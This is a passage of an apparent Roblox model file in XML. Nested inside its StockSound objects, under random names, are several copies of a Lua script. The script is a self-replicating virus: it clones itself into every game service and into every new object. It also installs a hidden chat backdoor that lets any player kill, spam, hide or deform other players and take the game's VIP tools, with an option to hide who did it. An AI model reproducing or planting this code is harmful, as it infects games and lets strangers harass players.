speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX262">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">gcl2hlra</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX263">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">sv1om4</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX264">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-21.7944622</X>
							<Y>3.29857159</Y>
							<Z>-14.8784332</Z>
							<R00>0.802155316</R00>
							<R01>3.48731282e-006</R01>
							<R02>0.597115457</R02>
							<R10>-3.23073073e-005</R10>
							<R11>1</R11>
							<R12>3.75608506e-005</R12>
							<R20>-0.597115457</R20>
							<R21>-4.94208289e-005</R21>
							<R22>0.802155316</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX265">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX266">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2846wgwjj</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX267">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">2gzrc34e</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
